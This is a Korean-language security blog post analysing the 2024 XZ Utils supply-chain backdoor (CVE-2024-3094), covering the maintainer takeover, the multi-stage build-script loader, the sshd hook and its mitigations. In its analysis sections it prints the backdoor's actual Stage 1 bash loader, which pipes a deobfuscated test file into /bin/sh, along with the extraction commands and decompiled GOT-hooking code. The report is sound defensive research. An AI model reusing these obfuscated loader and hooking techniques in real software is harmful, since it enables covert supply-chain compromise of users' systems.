The XZ Backdoor issue triggered by one untrusted maintainer

Author: Minyeop Choi, Hosu Choi, Sojun Ryu | S2W TALON

Last modified: Apr 16, 2024
Photo by Gabriel Heinzer on Unsplash

Executive Summary

  • 2024년 3월 29일, Unix 계열 및 Windows 운영체제에서 사용되는 오픈소스 압축 유틸리티인 XZ Utils을 대상으로 하는 공급망 공격이 발생하였으며, 5.6.0–5.6.1 버전의 업스트림 채널에 백도어가 포함되어 유포된 정황이 확인됨.
    — XZ Utils 레포지토리: https[:]//github[.]com/tukaani-project/xz
    — 미러링된 개발자 웹사이트: https[:]//git.tukaani[.]org/?p=xz.git
    — 업스트림: 프로젝트의 오픈소스 코드에 직접 Contribution 하는 것
  • 악성코드가 포함된 버전을 릴리즈한 JiaT75 유저는 2022년 2월부터 XZ 레포지토리에 기여하며 얻은 신뢰를 기반으로 maintenance 권한을 획득하였으며, 지난 2년동안 꾸준히 업데이트를 진행함
  • 이후 JiaT75 유저는 XZ 레포지토리에 백도어가 담긴 tarball을 2024년 2월 24일에 릴리즈했으며, 라이브러리 형태로 배포되어 liblzma를 필요로 하는 실행파일에 악성코드가 프로세스에 탑재됨
    — 업스트림 sshd는 liblzma 의존성이 없으나, 일반적으로 대부분의 리눅스 배포판에서는 daemon 서비스의 systemd-notify 기능을 이유로 다운스트림 sshd에 libsystemd 의존성을 추가하여 배포되기 때문
  • 악성코드는 RSA_public_decrypt의 GOT를 후킹하여 sshd로 수신되는 서명을 중간에서 검증 후 임의의 명령을 실행하는 악성행위를 수행
  • JiaT75유저의 계정이 탈취되어 공격에 악용되었을 가능성도 생각해 볼 수 있겠지만, 이번과 같은 백도어 삽입을 위해서는 오랫동안 노력했을 가능성이 높음
    — 특히, 백도어 삽입을 위해 빌드 프로세스에 교묘히 개입하고, 정교하고 난독화 된 백도어를 삽입한 점은 절대 단기간에 이루어질 수 없는 작업인 점에서 많은 분석가들이 이번 공격이 국가의 지원을 받는 위협 그룹에 의해 수행되었을 것이라 평가하고 있음
  • 이번 공격은 중요한 대규모 인프라 프로젝트들이 소수의 Contributor 에 의해 유지되는 오픈소스 프로젝트에 의존함으로써 발생한 사건으로, 현 오픈소스 생태계의 문제점으로 거론되고 있으며 이러한 Contributor 들에 대한 보상 및 리뷰어 확보 등 대책 수립에 대한 논의를 촉발시킴.
    — 앞으로 이러한 오픈소스에 대한 공급망 공격에 대한 각별한 주의가 요구될 것이며, 오픈소스 프로젝트에 대한 보안 점검 방안에 대해서도 활발한 논의가 필요할 것으로 판단됨

Introduction

2024년 3월 29일 (한국시간 30일 토요일 새벽), Microsoft의 엔지니어 Andres Freund는 오픈소스 시큐리티 커뮤니티인 oss-security에 XZ 저장소에 악의적인 목적에 백도어가 삽입되었다는 내용을 공유했다.

이후 많은 분석가들에 의해 분석된 추가 내용이 공개되었으며, JiaT75라는 유저가 XZ 레포지토리에 백도어 코드가 담긴 tarball을 2024년 2월 24일에 릴리즈(5.6.0 버전)했다는 사실이 확인되었다.

  • Tarball: tar 명령어를 사용해 생성되는 파일로, 파일과 디렉토리를 하나로 묶은 파일을 의미
  • XZ: 파일 압축을 위한 프로그램 중 하나로, LZMA 알고리즘을 사용하는 파일 지원 (tar.xz 등)

해당 내용은 빠르게 확산되어 CISA는 즉시 ALERT 게시글을 공지했고, CVE-2024–3094 로 할당되었다. 해당 취약점은 CVSS3:10.0의 점수가 책정되고 패치가 발표되지 않았기 때문에 운영 환경에 맞게 개별 조치방안을 확인하여 대응할 것을 강력히 권장하고 있다.

XZ Utils는 Unix 계열 및 Windows 운영체제에서 사용되는 오픈소스 압축 유틸리티로, 그만큼 전세계의 많은 서버 및 PC에서 사용되고 있다. 또한 XZ Utils에는 리눅스 커널에서 사용되는 LZMA 알고리즘을 다루는 liblzma가 포함되어 있다. 하지만 영향도에 비해 비교적 빠르게 공격이 탐지된 점, Stable 버전의 리눅스 공식 배포판에는 반영되지 않았다는 점 등의 이유로 현재까지 XZ 백도어 악성코드와 관련된 악성행위는 공개된 바가 없다. 공격자는 최소 2년 정도되는 기간 공격을 준비했던 만큼 작업을 은닉하기 위해 백도어 배포와 공격 시나리오에 따라 성급한 행동을 하지 않았을 가능성이 높다.

이번 백도어 삽입을 위해 공격자는 최소 2년간 XZ Utils의 신뢰가능한 Maintainer 역할을 했다. JiaT75유저의 계정이 탈취되어 공격에 악용되었을 가능성도 생각해 볼 수 있지만, 이와 같은 백도어 삽입을 위해서 오랜기간 공들였을 가능성이 높다. 특히, 백도어 삽입을 위해 빌드 프로세스에 교묘히 개입하고, 정교하고 난독화 된 백도어를 삽입한 점은 절대 단기간에 이루어질 수 없는 작업이다. 이러한 점에서 이번 공격이 국가의 지원을 받는 위협 그룹에 의해 수행되었을것이라 평가되고 있다.

악성 5.6.0 버전 릴리즈 후 약 2주 뒤에 XZ 백도어를 최초로 발견한 Microsoft 엔지니어 Andres Freund는 소셜 네트워크를 통해 상당한 양의 CPU를 사용하여 SSH 로그인이 실패된 점과, SSH 로그인 시도시 대기 시간이 500ms 증가했다는 사실을 파악 후 이에 대한 원인을 파악하는 과정에서 백도어를 발견했다고 밝혔다.

Timeline

  • 2021–01–26: 최종 악성코드가 포함된 커밋을 제출한 Jia Tan(JiaT75) 유저의 계정 생성
  • 2022–02–06: JiaT75 유저가 XZ 레포지토리에 최초로 커밋을 제출한 날짜
    — 파라미터 유효성 검사 로직 추가
  • 2022–11–30: 버그 보고 메일 주소를 자신의 계정에서, XZ 공식 계정([email protected])으로 변경
    — 위 메일 주소는 자신과 Jia Tan에게 이메일을 리다이렉션
  • 2023–01–07: JiaT75 유저가 첫 번째 커밋 merge
  • 2023–01–11: Lasse Collins가 직접 배포한 최종 버전 게시 날짜 (5.4.1)
  • 2023–03–18: Jia Tan 가 5.4.2를 빌드 후 게시
  • 2023–06–27: Jia Tan에 의한 의심 행위 제출 시작 날짜
  • 2023–07–08: 오픈소스를 대상으로 퍼지 테스트를 수행하는 OSS-Fuzz에 pull request
    — 해당 요청에는 악성코드가 포함되어 있지 않으며, ifunc 비활성화
  • 2024–02–15: build-to-host.mp4 파일명을 .gitignore에 추가
  • 2024–02–23: test 경로에 난독화 된 코드가 추가된 파일 생성
    — test/file/bad-3-corrupt_lzma2.xz
    — test/file/good-large_compressed.lzma
  • 2024–02–24: 악성 build-to-host.m4가 포함된 5.6.0 버전 게시
  • 2024–03–09: 백도어 코드 변경 후 5.6.1 버전 게시
  • 2024–03–29: Microsoft 수석 개발자인 Andres Freund의 분석 내용 게시
  • 2024–03–30: XZ Utils의 원 관리자인 Lasse Collines의 공식 입장 게시
    [email protected] 메일링 리스트에 Jian Tan 제외
    — xz.tukaani.org 도메인을 CNAME에서 제거
    — 복구한 XZ Utils의 5.8.0 업데이트 예고
  • 2024–04–10: XZ Utils Github 레포지토리 복구

Detailed Analysis

XZ Utils의 maintainer인 Jia Tan의 계정(JiaT75)을 통해 악성코드가 삽입된 버전이 유포되었다. 원래 XZ Utils는 Lasse Collin이라는 유저 1명으로 인해 단독으로 관리되던 프로젝트였다. 그 결과, Lasse Collin은 홀로 프로젝트를 관리하는데 많은 시간과 리소스가 투입되는 점을 이야기했고, 이 과정에서 Jia Tan에게 권한을 주어 함께 프로젝트를 관리해왔던 것으로 보인다.

1. (Possible) Compromise

Jia Tan 유저와의 연결점은 구체적으로 식별되지 않았지만, 2022년 4월 중순에 Jia Tan이 메일링 리스트를 통해 제출한 패치에 대해 Jigar Kumar라는 인물이 의견을 남기고 merge를 요청했다. (참고: 관련 메일)

그림 1. Jia Tan의 첫번째 패치 제안 메일 본문 (좌) / 그림 2, 3. Jigar Kumar의 재촉 메일 본문 (중, 우)

2022년 5월에는 Lasse Collin에게 메일을 발송하여 프로젝트 관리 부실이라는 내용으로 그를 비판하는 메일이 식별되었다. 당시 메일에서는 Dennis Ens라는 인물이 질문에 대한 답변을 아직 받지 못했다면서, 기능 업데이트에 대한 계획이 있는지 문의하고 있다.

또한, 이전에 Jia Tan 유저의 commit에 대한 merge를 주장한 Jigar Kumar 가 다시 한 번 공격적으로 Lasse Collin를 비판하는 내용도 확인되었다. 그는 새로운 maintainer가 생길 때까지 개선되지 않을 것이라며, maintainer가 더이상 해당 레포지토리에 관심이 없다며 비판을 했다.

그림 4. Dennis Ens의 xz의 JAVA 지원 문의 요청 메일 본문 (좌) / 그림 5. Jigar Kumar의 새로운 maintainer가 필요하다는 주장 메일 본문 (우)

이에 대해 Lasse Collin는 더이상 프로젝트에 대한 관심이 없어진 게 아니며, 해당 프로젝트가 무급의 취미 프로젝트라는 것을 이야기했다. 자신의 메일로 전달되는 문의 메일이 많이 쌓여있는 사실과 함께, Jia Tan라는 유저가 미래에 XZ Utils에 대한 큰 역할을 가질 것이라고 했다. 게다가 현재 장기적인 정신건강 문제 등을 관리하는데 어려움을 겪고 있다면서 Jian Tan과 함께 작업을 한 사실도 언급했다. 그는 Jian Tan이 미래에 해당 프로젝트에서의 중요한 역할을 맡게될 것이라고 언급한 점에서 2022년 6월 약간의 연대가 생긴 것으로 보인다.

그림 6. Jigar Kumar의 비판 메일에 대한 Lasse Collin의 해명 (좌) / 그림 7.Jia Tan이 머지않아 큰 역할을 맡을 거라는 언급 (우)

이처럼, 이번 공격은 사회공학적으로 2년 전부터 Jia Tan의 신뢰를 강화시키기 위해 다른 계정들을 활용하여 원래 개발자를 압박하고 새로운 maintainer를 적극적으로 도입하도록 유도했을 가능성이 높다. 공격자는 공격 대상 선정시 자신이 도움을 주겠다는 식으로, 이와 같은 1인에 의해 유지되는 프로젝트를 의도적으로 타겟했을 것으로 예상된다.

2. Exploit the build process

build-to-host.m4는 원래 시스템 간의 호환성 검사를 수행하는 정상 파일로, m4 스크립트*는 텍스트를 처리하고 생성하기 위한 매크로 처리용 스크립트 언어이다.
- *m4 스크립트: autoconf 단계에서 aclocal.m4에 의해 처리되고, configure 파일 생성 시 사용
공격자는 해당 build-to-host.m4 스크립트의 일부를 변경하여 악성코드를 로드하는 최초 스테이지로 사용했다.

XZ Utils는 CMake와 Automake 2가지 빌드 방법을 제공하는데, m4 스크립트가 변경되었다는 점은 Automake 빌드 과정 중간에 개입한다는 것을 의미한다. 수정된 m4 스크립트는 아래 그림과 같은 과정을 통해 빌드 및 배포된다.

build-to-host.m4 스크립트의 경우, 공격자(JiaT75)가 .gitignore 파일에 추가하여 공식 레포지토리에서는 해당 파일이 확인되지 않는다. 그러나, 변조된 build-to-host.m4 파일을 포함하여 빌드된 tarball이 릴리즈되어 XZ Utils의 upstream을 받은 프로젝트들이 악성 버전에 영향을 받게 되었다.

그림 8. 빌드 프로세스

2.1 Initial Stage

악성행위는 ./configure로부터 실행되는 m4/build-to-host.m4 스크립트에서 시작한다. 해당 파일은 컴파일될 파일의 이름에 대해 host 기기의 syntax를 맞춰주기 위한 목적으로 사용된다. 실제 악성 코드는 스크립트 중 tests 디렉토리 내부에 있는 파일들을 빌드할 때 실행이 되는데, 이때 후술할 $srcdir는 tests/를 가르킨다. 파일 내 gl_BUILD_TO_HOST_INIT 함수 내 $gl_am_configmake 변수에는 다음과 같은 명령어에 의해 test 파일로 위장한 악성 파일인 tests/files/bad-3-corrupt_lzma2.xz의 경로가 담긴다.

그림 9. gl_BUILD_TO_HOST_INIT 내 변수 설정

이후 gl_BUILD_TO_HOST 함수가 호출되면 위 INIT 함수에서 초기화 된 $gl_am_configmake를 참고하여 다음과 같은 명령이 실행된다. $gl_path_map에는 INIT 함수에서 초기화 된 tr 명령어가 포함되며, 최종적으로 sed와 tr 명령어가 결합되어 실행된다.

  • 중간 실행 명령어: sed “r\n” tests/files/bad-3-corrupt_lzma2.xz | tr “\t \-_” “ \t_\-” | echo tests/files/bad-3-corrupt_lzma2.xz | sed “s/.*\.//g” -d 2>/dev/null
그림 10. bad-3-corrupt_lzma2.xz 압축 해재 및 데이터 변환

실행 명령어 중 tr 명령어에 대한 해석은 아래와 같이 입력된 데이터를 지정된 규칙을 통해 문자를 다른 문자로 치환하는 행위를 수행한다.

  • 0x09(‘\t’) 를 0x20(‘ ‘) 으로 치환
  • 0x20(‘ ‘) 를 0x09(‘\t’) 로 치환
  • 0x2d(‘-’) 를 0x5f(‘_’) 으로 치환
  • 0x5f(‘_’) 를 0x2d(‘-’) 으로 치환

이후 $gl_[$1]_prefix에는 gl_BUILD_TO_HOST 함수에서 실행되어 확장자(xz)가 추출되어 저장되며, 이로인해 치환된 데이터가 xz로 decompress 된다. 최종적으로 bash script가 추출되며 다음의 명령어로 실행된다.

  • 최종 실행 명령어: sed “r\n” tests/files/bad-3-corrupt_lzma2.xz | tr “\t \-_” “ \t_\-” | xz -d 2>/dev/null
그림 11. 명령 실행 매크로

2.2 Stage 1

2.1 Initial Stage에서 추출된 bash script는 다음과 같다. (분석 내용은 5.6.1 버전의 스크립트를 기반으로 작성)

####Hello####
# <임의의 7~8 바이트 데이터>
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status` // find the path of the xz
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";
(xz -dc $srcdir/tests/files/good-large_compressed.lzma
|eval $i
|tail -c +31233
|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")
|xz -F raw --lzma1 -dc
|/bin/sh
####World####

[실행 순서]
1) tests/files/good-large_compressed.lzma 파일을 xz로 압축 해제
2) 압축 해제된 파일의 데이터는 명령어 체인이 정의된 $i 함수에 넘겨짐
3) $i는 1,024 bytes 크기를 간격으로 2,048 bytes 크기의 값을 읽는 것을 반복
— 마지막 남은 데이터가 2,048 bytes 보다 작을 때까지 반복 작업 수행
4) 5.6.0 버전에서는 724 bytes, 5.6.1버전에서는 939 bytes가 마지막에 남게됨
5) 병합된 데이터로부터 stage 2에 사용될 데이터를 일정한 크기로 제거
— 5.6.0에서는 31,264 bytes, 5.6.1에서는 31,233 bytes 만큼 제거
6) Initial stage에서도 사용된 tr 명령어를 통해 기존 데이터를 다른 데이터로 치환
— 5.6.0버전과 5.6.1버전의 치환값은 아래와 같이 다르게 구성됨

  • 5.6.0: tr “\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131” “\0-\377”
  • 5.6.1: tr “\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113” “\0-\377”

7) 치환된 데이터를 xz를 통해 lzma 로 압축을 해제하고 Stage 2에 해당되는 bash script를 획득하여 실행

2.3 Stage 2

Stage 2의 스크립트에서는 빌드 환경을 검사하고 Stage 1에서 사용되지 않았던 제거된 데이터를 복호화한다.

[실행 순서]
1) Stage2 스크립트의 실행환경을 확인
— 사용자가 임의로 중간단계인 configure를 실행하는 것과 같은 일반적이지 않은 단계를 거치고 있는지 확인
— x86_64 아키텍처의 Debian 혹은 RPM 빌드인지를 확인
2) 위 확인이 통과되면 Stage 1과 동일하게 함수 $i를 사용하여 데이터를 병합
3) AWK 명령어를 사용해서 RC4*의 PRNG 알고리즘을 사용하여 나온 숫자를 통해 복호화
*단, 이때 사용되는 알고리즘은 일반적인 RC4 암호화 알고리즘과 다르다.

  1. 암호화 키를 사용하지 않고 배열 S를 다음과 같이 생성한다.
For i in 0..255
S[i] = ((7 * i) + 5) % 256

2. 5.6.0에서는 4,096 bytes, 5.6.1에서는 8,196 bytes 만큼 RC4 PRNG의 첫 결과를 패스한다.

3. RC4 결과와 암호화된 데이터를 XOR로 복호화하는 것이 아닌, 더하기로 복호화한다.

4) 복호화된 데이터는 이후 xz를 통해서 압축을 해제
5) 최종적으로 악성 object 파일이 추출되어 libs/liblzma_la-crc64-fast.o 이란 파일명으로 저장
6) 이후 컴파일 과정에서 악성 object파일이 link 되어 악성코드가 삽입됨

2.4 IFUNC Enable

일반적으로 Global Offset Table(GOT)에 library의 주소가 resolve되는 과정은 프로그램의 실행 과정 어디서든지 일어날 수 있다. 하지만 보안상의 이유로, 현재는 위 과정이 dynamic linking 과정에서 일어나며, 이후 프로그램이 실행되고 있을때는 수정이 불가능하다. 게다가 resolve된 주소는 변경할 수 없게 만드는 방식이 선호된다. 이 때문에, 공격자는 function pointer를 사용한 indirect call을 제거하기 위해 GNU indirect function(ifunc) resolver를 도입하면서 read-only로 바뀌기 이전에 GOT를 수정할 수 있다는 점을 악용했다.

공격자는 object 파일 내 ifunc resolver에서 호출되는 __get_cpuid에 RSA_public_decrypt 함수의 GOT를 수정하는 코드를 삽입하여 ifunc resolver가 실행하는 단계에서 해당 함수를 악성코드의 주소로 변경했다.
이로 인해 sshd가 실제로 실행되는 과정에서 정상 RSA_public_decrypt 함수가 아닌, 공격자가 지정한 악성코드가 실행되도록 구성했다.

if ( symbol_to_resolve_id == RSA_public_decrypt && v11 ) // 최초 후킹 대상인 RSA_public_decrypt 함수
{
if...
goto LABEL_27;
}
v13 = v7[4];
if ( v13 && symbol_to_resolve_id == EVP_PKEY_set1_RSA ) // RSA_public_decrypt symbol이 존재하지 않으면
{ // EVP_PKEY_set1_RSA 후킹 시도
if...
v7[1] = *v13;
v14 = *(filter_options + 0x118);
*v13 = v14;
if...
v15 = v7[5];
if...
v16 = *v15 <= 0xFFFFFFuLL;
}
else // 위의 두 함수 symbol이 모두 존재하지 않으면
{
v17 = v7[5];
if ( symbol_to_resolve_id != RSA_get0_key || !v17 ) // 마지막으로 RSA_get0_key 후킹 시도
return *(a1 + 8);
if...
v7[2] = *v17;
v18 = *(filter_options + 0x120);
*v17 = v18;
if...
if...
v16 = *v13 <= 0xFFFFFFuLL;
}

이 과정에서 후킹 타겟인 RSA_public_decrypt 함수가 추후 OpenSSH 업데이트로 제거될 가능성을 염두한 공격자는 해당 함수의 심볼이 식별되지 않는 경우 다른 함수인 EVP_PKEY_set1_RSARSA_get0_key 함수의 GOT 수정을 차례로 시도하는 로직을 추가한 것이 확인했다.

2.5 Landlock Disable

공격자는 linux에서 지원하는 sandbox 기능인 landlock이 존재하는지 확인하는 테스트코드에 의도적으로 점(.)을 삽입하여 컴파일되지 않게 CMakeLists.txt 파일을 수정했다. 이로 인해 항상 landlock이 활성화 되지 않는데, 하지만 이는 ssh를 백도어화하기 위해서 필요한 과정이 아니라는 점에서 landlock을 비활성화 함으로써 수행할 수 있는 공격에 대해서는 아직까지 밝혀진 바가 없다.

그림 12. Landlock 비활성화를 위해 수정된 CMakeLists.txt

3. Malicious behavior

해당 악성코드는 라이브러리 형태로 배포되기에 liblzma를 필요로 하는 실행파일에 악성코드가 프로세스에 탑재된다.

악성코드가 타겟한 sshd의 경우, 업스트림 sshd는 liblzma 의존성이 없으나, 일반적으로 대부분의 리눅스 배포판에서는 daemon 서비스의 systemd-notify 기능을 이유로 다운스트림 sshd에 libsystemd 의존성을 추가해 배포한다.

libsystemd는 liblzma를 필요로 하여 결과적으로 sshd의 프로세스에 악성 liblzma가 탑재된다. 또한 악성코드는 프로세스의 이름이 /usr/sbin/sshd일때 활성화되는 것이 관찰되었다.

그림 13. 공격자로부터 명령어 전달 과정

2.4 IFUNC Enable에서 설명한 바와 같이, 악성코드는 RSA_public_decrypt의 GOT를 후킹하여 sshd로 수신되는 서명을 중간에서 검증한다. 만약 공격자가 보낸 서명일 경우, 임의의 명령을 실행하는 악성행위를 수행한다.

악성코드에는 ED448 공개키가 하드코딩되어 있는데, 공개키의 첫 32 bytes를 Chacha20 알고리즘의 복호화 Key로 사용하여 데이터 복호화를 시도한다.
복호화가 정상적으로 진행되는 경우, 데이터에 실행할 명령과 이를 가지고 만든 서명이 존재하는데, 전송된 서명이 하드코딩된 ED448 공개키와 대응되는 비밀키로 서명 검증에 성공하면 하드코딩된 메시지에 포함된 명령을 system 함수를 통해 실행한다.

참고로, 위 과정으로 중에 이러한 과정을 식별할 수 있는 다른 정보나 로그가 남지 않으며, 공격자가 의도한 페이로드 및 서명이 아닌 경우에는 RSA_public_decrypt 함수가 정상적인 프로세스로 호출되어 네트워크 레벨의 공격 탐지가 불가능하다.

More details

1. First detection

해당 백도어를 최초로 발견하여 커뮤니티에 공개한 Microsoft의 Andres Freund는 발견 당시 sshd 로그인시 liblzma와 관련하여 CPU 부하가 많고, valgrind 오류가 발생하는 점을 의심하여 분석을 시작했다. 그는 백도어가 예상되는 것과 스택 레이아웃이 다르기 때문에 일부 구성에서 valgrind 오류와 충돌을 일으켰다고 언급하며, 이는 5.6.1에서 해결되었다고 한다.
이후 디버깅하는 과정에서 백도어를 발견하고 이를 Openwall Project의 oss-security 메일링 리스트로 제보했다. 그는 백도어가 삽입될 경우 ssh를 통한 로그인 속도(약 500ms)가 훨씬 느려진다고 덧붙였다.

  • Valgrind: 메모리 관리 문제를 검사하고 디버깅하는 데 사용되는 프로그래밍 도구
그림 14. XZ Backdoor 설치 전후 SSH 로그인 처리 속도

2. Initial detection

JiaT75 유저는 2023년 7월경, 오픈 소스 소프트웨어의 취약점을 자동으로 발견하고 보고하는 것을 목표로 하는 oss-fuzz 프로젝트에는 악성코드가 없는 버전으로 코드를 제출한 점도 확인되었다. 당시 추후에 악용할 IFUNC 퍼징 기능을 미리 disable 했다는 가능성도 제시되었다.

그림 15. JiaT75의 ifunc 기능 추가 (좌) / 그림 16. ifunc 비활성화 옵션 추가 (우)

3. Other repository affected by the actor

JiaT75 유저는 최소 2021년부터 활동을 했기 때문에 XZ 외에도 다른 프로젝트에 개입했을 가능성이 존재한다. 실제로 그는 2021년 11월, libarchive 레포지토리에 안전하지 않은 fprintf 함수로 패치하는 코드를 제출한 이력이 존재한다. 한 연구원은 이에 대해 취약점을 트리거하는 PoC 코드를 작성하여 공개하기도 하였다. 해당 변경 사항은 main branch에 병합되었다.

Impact

XZ Utils은 여러 리눅스 배포판에서 광범위하게 사용되는 라이브러리다. 이로 인해 영향을 받는 조건으로는 악성 build-to-host.m4 매크로 파일이 함께 빌드된 업스트림 tarball을 패키지에 포함하며, sshd에 liblzma을 로드하도록 하는 libsystemd 의존성이 추가된 배포판이 해당된다.

  • Fedora 40 beta, 41, Rawhide: 5.6.0 (2024–02–27), 5.6.1 (2024–03–09)
  • openSUSE Tumbleweed: 5.6.0 (2024–03–05), 5.6.1 (2024–03–17)
  • Alpine Edge: 5.6.1 (2024–03–11)
  • Arch Linux: 5.6.0 (2024–02–24), 5.6.1 (2024–03–10)
  • Debian Unstable: 5.6.0 (2024–02–25), 5.6.1 (2024–03–27)
  • Kali: 5.6.0 (2024–03–26)

OpenWrt 배포판과 같이 업스트림이 아닌 Github 레포지토리 버전의 tarball 의존성의 경우, .gitignore 파일로 인해 변조된 build-to-host.m4가 존재하지 않는다. 그렇기 때문에 5.6.0/5.6.1 버전을 사용하더라도 백도어의 영향을 받지 않으나, 빌드 과정에서 휴면상태의 악성코드가 로컬 저장소에 남아있어 저장소 삭제 등의 대응이 필요하다.

해당 백도어는 sshd 컨텍스트에서 임의 코드 실행이 가능한 것을 이용해 공격자의 특정 서명을 허용하고 조건 없이 root 권한의 ssh shell 연결을 수립하도록 한다. 이는 공격자가 취약한 XZ Utils이 설치된 모든 시스템에 대해 ssh 인증을 우회하고 root 권한의 원격 코드 실행이 가능한 것을 의미하므로 아래 서술된 완화 방법을 반드시 적용해야 한다.

Mitigation

XZ Utils 5.6.0 및 5.6.1 버전을 사용중인 경우 5.4.x 이하 버전으로 다운그레이드하는 것을 강력히 권장한다. sshd 서비스를 사용중인 시스템이라면 다운그레이드 이후 sshd 서비스를 재시작하고, 의심스러운 ssh 접속 로그 및 승인되지 않은 계정 생성 등을 모니터링한다. 공격자는 verbose logging을 비활성화하는 플래그 혹은 정상 로그로 교체하는 등의 트릭으로 비정상 로그임을 구분할 수 없도록 했지만, sshd를 통해 접속한 로그 자체는 정상적으로 남기 때문에 사용자의 접속 패턴이나 접속 당시 시간을 근거로 모니터링시 공격자의 접속을 탐지할 수 있는 가능성이 있다.

또한 XZ Utils의 maintainer인 Lasse Collin이 백도어가 완전히 제거된 저장소 복구 및 5.8.0 버전의 출시 계획을 공지하였으므로, 추후 5.8.0 이상 버전이 출시되면 해당 버전으로 업데이트를 권장한다.

그림 17. Kill Switch에 대한 분석 (Link)

다운그레이드 또는 추후 5.8.0 버전으로의 업데이트가 불가능한 경우, 임시 방편으로 /etc/environment 파일에 아래 문자열을 추가하고 sshd 서비스를 재시작하는 방식으로 Kill Switch를 활성화하여 백도어를 비활성화할 수 있다.

  • yolAbejyiejuvnup=Evjtgvsh5okmkAvj

sshd 서비스를 중단하는 방식으로 임시 조치도 가능하지만, 이 경우 시스템에 미치는 영향도 검토가 반드시 필요하다.

Detection

다음은 CVE-2024–3094 탐지를 위한 공개된 도구 및 탐지 방안들이다.

Conclusion

  • 공격을 준비하는 기간이 굉장히 길고 치밀하다는 점에서, 일반적인 사이버범죄자나 충동적으로 발생한 공격은 아닐 것으로 평가됨
  • 또한, 공격 페이로드 전달 과정이 굉장히 복잡하고 공격에 의한 영향이 전세계에 미친다는 것을 고려하면 국가 배후의 공격 그룹이 배후에 있을 것으로 의심되고 있음
    — 공급망 공격 등을 수행한 이력이 있고, 전세계를 대상으로 공격을 수행했다는 점에서 중국, 러시아, 북한이 모두 언급되고 있으나 아직까지 뚜렷한 증거는 발견되지 않음
  • 중요한 대규모 인프라 프로젝트들이 소수의 오픈소스 기여자의 프로젝트에 의존함으로써 발생한 사건으로, 현 오픈소스 생태계의 문제점으로 거론되고 있으며 이러한 기여자들에 대한 보상 및 리뷰어 확보 등 대책 수립에 대한 논의를 촉발시킴.
  • Boehs 블로그 작성자에 의하면, tukaani IRC 채널에 있던 Jia Tan의 접속 정보를 확인한 결과, 베트남에 위치한 VPN으로 의심되는 IP로 접속을 수행했다고 한다.
  • 앞으로 이러한 오픈소스에 대한 공급망 공격에 대한 각별한 주의가 요구될 것이며, 오픈소스 프로젝트에 대한 보안 점검 방안에 대해서도 활발한 논의가 필요할 것으로 판단됨

Reference

Appendix

Appendix A. IoCs

Email

  • jiat0218[@]gmail.com

File hash

  • 81e0fd62752bdab11fa992af9d9545af
  • 307958b78b392e58a2c88e620a121708
  • 213fb2a8131bc108d636f1b03109c37e
  • ac3b4d9f163c90143f938627473a804a
  • 41c96174e4ef3870eb7ec9d5f875a6dc
  • 9ba1a547a18a310fac9c8a419b5794fc
  • 3a4e77b515b4a712a26ebf7274de61fe
  • c04b42084816862fc1d9e4f024a28a39
  • 4f0cf1d2a2d44b75079b3ea5ed28fe54
  • 53d82bb511b71a5d4794cf2d8a2072c1
  • d302c6cb2fa1c03c710fa5285651530f
  • 212ffa0b24bb7d749532425a46764433
  • d26cefd934b33b174a795760fc79e6b5
  • 4ec47410372386d02c432ba10e5d7fda

Network

  • 현재까지 발견된 Network IoC는 존재하지 않음

Appendix B. Infographic (Authored by Thomas Roccia)

Appendix C. ATT&CK MATRIX

Reconnaissance

  • (T1593.003) Code Repositories

Resource Development

  • (T1585.002) Email Accounts
  • (T1650) Acquire Access

Initial Access

  • (T1195.001) Compromise Software Dependencies and Development Tools

Execution

  • (T1059.004) Unix Shell

Defense Evasion

  • (T1140) Deobfuscate/Decode Files or Information

Command and Control

  • (T1573.001) Symmetric Cryptography

Homepage: https://s2w.inc
Facebook: https://www.facebook.com/S2WLAB
Twitter: https://twitter.com/S2W_Official

The XZ Backdoor issue triggered by one untrusted maintainer was originally published in S2W BLOG on Medium, where people are continuing the conversation by highlighting and responding to this story.

Article Link: The XZ Backdoor issue triggered by one untrusted maintainer | by S2W | S2W BLOG | Apr, 2024 | Medium